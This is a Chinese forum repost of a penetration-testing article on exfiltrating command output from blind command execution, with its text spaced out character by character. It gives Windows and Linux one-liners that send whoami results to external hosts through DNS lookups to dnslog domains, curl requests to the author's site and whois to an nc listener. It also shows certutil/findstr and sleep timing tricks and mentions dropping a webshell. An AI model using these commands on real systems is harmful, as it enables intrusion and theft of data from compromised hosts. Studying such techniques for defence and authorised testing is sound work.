搜索

[18354] 2021-05-21_命令执行无回显的一些姿势

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-05-21_命令执行无回显的一些姿势 命 令 执 行 无 回 显 的 一 些 姿 势 硝 基 苯   H A C K 之 道   2 0 2 1 - 0 5 - 2 1 收 录 于 话 题   # 渗 透 姿 势   , 1 个 前 言 最 近 演 练 遇 到 了 拿 s h e l l 后 ， 由 于 是 延 时 注 入 ， 让 我 极 其 难 受 。 于 是 ， 学 习 了 一 下 命 令 执 行 无 回 显 的 一 些 姿 势 w i n d o w s 环 境 1 .   p i n g   % U S E R N A M E % . 2 p l m q c . d n s l o g . c n 这 里 的 % u s e r n a m e % 为 用 户 变 量 附 上 w i n d o w s 常 用 变 量 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 1 7 2 0 4 4 4 1 / a r t i c l e / d e t a i l s / 8 9 0 6 3 1 0 4 2 . f o r   / F   " d e l i m s = "   % i   i n   ( ' w h o a m i ' )   d o   p i n g   - n   1   % i . 2 p l m q c . d n s l o g . c n 这 里 的 可 操 作 性 比 第 一 个 多 了 许 多 文 章 已 获 授 权 转 载 作 者 ： 硝 基 苯 ， 博 客 ： c 6 h 5 n o 2 - s e c . t o p ， 欢 迎 关 注 作 者 博 客 。 0 1 .   % A P P D A T A %   :     列 出 应 用 程 序 数 据 的 默 认 存 放 位 置 。 0 2 .   % C D %   :     列 出 当 前 目 录 。 0 3 .   % C L I E N T N A M E %   :     列 出 联 接 到 终 端 服 务 会 话 时 客 户 端 的 N E T B I O S 名 。 0 4 .   % C M D C M D L I N E %   :     列 出 启 动 当 前 c m d . e x e 所 使 用 的 命 令 行 。 0 5 .   % C M D E X T V E R S I O N %   :     命 令 出 当 前 命 令 处 理 程 序 扩 展 版 本 号 。
3 . c u r l ( w i n 1 0 或 w i n s e r v e r 2 0 1 6 以 上 自 带 c u r l ) f o r   / F   " d e l i m s = "   % i   i n   ( ' w h o a m i ' )   d o   c u r l   h t t p : / / w w w . c 6 h 5 n o 2 - s e c . t o p / t e s t / % i 4 . 如 果 知 道 网 站 绝 对 路 径 ， 直 接 写 个 一 句 话 不 香 吗 5 . 如 果 不 出 网 ， 也 无 w e b 服 务 的 情 况 下 ， 读 也 不 是 不 可 以 w h o a m i   >   t e s t 1 2 3 4 . t x t   &   c e r t u t i l   - e n c o d e   t e s t 1 2 3 4 . t x t   t e s t e n c o d e . t x t 将 w h o a m i 的 结 果 b a s e 6 4 编 码 以 后 写 入 t e s t e n c o d e . t x t 读 t e s t e n c o d e . t x t ， 利 用 f i n d s t r 的 去 正 则 ， 如 果 符 合 就 会 p i n g 自 己 ， 这 样 就 会 造 成 延 时 t y p e   t e s t e n c o d e . t x t   |   f i n d s t r   " ^ - - - - - B E G I N   C E R T I F I C A T E - - - - -   Z G " & &   p i n g   0 . 0 . 0 . 0 要 注 意 ， 出 现 换 行 空 格 啥 的 的 用 空 格 来 进 行 替 换 ， 建 议 真 遇 到 这 种 致 命 的 环 境 ， 写 脚 本 爆 破 吧 （ 好 巧 不 巧 ， 这 次 的 一 个 目 标 就 这 样 子 . 截 图 为 d v w a 环 境 ） ， 执 行 成 功 就 会 延 时 ， 如 图 执 行 不 成 功 的 时 间
L i n u x 环 境 l i n u x 环 境 下 感 觉 就 比 较 舒 服 了 1 . p i n g   ` w h o a m i ` . l k q 1 i u . d n s l o g . c n 2 . c u r l   h t t p : / / w w w . c 6 h 5 n o 2 - s e c . c o m / t e s t / ` w h o a m i ` 3 . w h o i s   - h   v p s : p o r t   ` w h o a m i ` v p s   开 n c 监 听 4 . 将 命 令 结 果 写 入 文 件 ， 延 时 去 读 c a t   t e s t . t x t | g r e p   " ^ r "   & &   s l e e p   4 S Q L 中 的 D N S 外 带 ， 懒 得 写 了 ， 这 个 师 傅 写 的 蛮 好 的
h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 9 8 0 9 6 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理